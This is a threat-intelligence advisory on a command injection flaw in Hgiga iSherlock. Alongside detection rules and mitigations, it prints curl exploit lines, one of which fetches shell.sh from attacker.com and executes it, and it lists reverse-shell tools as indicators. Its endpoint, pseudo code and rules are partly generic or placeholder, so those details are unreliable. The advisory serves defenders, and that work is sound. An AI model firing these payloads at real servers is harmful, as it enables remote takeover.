CVE-2025-7451

Executive Summary

CVE-2025-7451 is a critical OS Command Injection vulnerability in Hgiga's iSherlock product. An unauthenticated remote attacker can inject arbitrary OS commands, leading to full server compromise. The vulnerability is actively exploited in the wild, with a CVSS score of 9.8. No patch is available from the vendor, making immediate mitigation essential. This report provides technical analysis, detection rules, and remediation guidance.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary appliance (iSherlock) from Hgiga. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full data access.
• Integrity (I): High (H) – Full system control.
• Availability (A): High (H) – Can disrupt service.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The iSherlock application fails to sanitize user-supplied input passed to a system shell command. An attacker can inject OS commands via HTTP requests to vulnerable endpoints (e.g., /cgi-bin/ scripts). The injection occurs because the application concatenates user input directly into a command string without proper escaping or validation.

Example vulnerable endpoint: /cgi-bin/admin.cgi?action=ping&ip=127.0.0.1;id

The ip parameter is passed to a ping command. By appending ;id, the attacker executes id after the ping.

Vulnerable vs. Patched Code

Vulnerable Code (pseudo):

import subprocess
ip = request.GET['ip']
cmd = "ping -c 4 " + ip
subprocess.call(cmd, shell=True)

Patched Code (pseudo):

import subprocess
import shlex
ip = request.GET['ip']
# Validate IP address format
if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
    raise ValueError("Invalid IP")
cmd = ["ping", "-c", "4", ip]
subprocess.call(cmd, shell=False)

The patched version validates the IP format and uses a list-based command to avoid shell injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable iSherlock instance (e.g., using a Docker container with a known vulnerable version).
2. Use a tool like curl or Burp Suite to send malicious requests.

Exploit Example:

curl -X GET "http://target/cgi-bin/admin.cgi?action=ping&ip=127.0.0.1;id"

Advanced Payload:

curl -X GET "http://target/cgi-bin/admin.cgi?action=ping&ip=127.0.0.1;wget%20http://attacker.com/shell.sh%20-O%20/tmp/shell.sh;bash%20/tmp/shell.sh"

Metasploit Module (if available):

# Placeholder for Metasploit module

Blue Team

Detection Steps:

1. Monitor HTTP requests to /cgi-bin/ endpoints for unusual characters (;, |, &, $, backticks).
2. Check for unexpected outbound connections from the iSherlock server.
3. Review system logs for command execution events (e.g., auditd logs).

Honeypot Setup:

• Deploy a fake iSherlock endpoint that logs all requests and alerts on injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ;, |, &, $, or backticks in parameters.
• Outbound connections to known malicious IPs or domains.
• Unusual DNS queries from the iSherlock server.

File IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., shell.sh, reverse_shell).
• Modified system binaries (e.g., /bin/sh replaced).

Process IOCs:

• Processes spawned by the web server user (e.g., www-data) running shell commands.
• Reverse shell processes (e.g., nc, bash -i).

Detection Engineering

YARA Rule

rule CVE_2025_7451_iSherlock_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Hgiga iSherlock"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-7451"
    strings:
        $injection1 = /[;&|`$]/ nocase
        $injection2 = /(ping|traceroute|nslookup)\s+.*[;&|`$]/ nocase
        $path = "/cgi-bin/" nocase
    condition:
        $path and ($injection1 or $injection2)
}

Sigma Rule

title: CVE-2025-7451 iSherlock OS Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts against Hgiga iSherlock
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/cgi-bin/'
            - ';'
            - '|'
            - '&'
            - '`'
            - '$'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7451 iSherlock OS Command Injection Attempt"; flow:to_server; content:"/cgi-bin/"; http_uri; pcre:"/[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the iSherlock server from the internet and untrusted networks.
2. Apply a Web Application Firewall (WAF) rule to block injection patterns (e.g., ;, |, &, $, backticks) in HTTP parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Contact Hgiga for an official patch. If unavailable, consider replacing the appliance with a secure alternative.
• Implement input validation and parameterized commands in any custom code.

Workaround:

• Disable the vulnerable CGI scripts if possible (e.g., remove /cgi-bin/admin.cgi).

Valters IT
Cyber Threat Intelligence & DevSecOps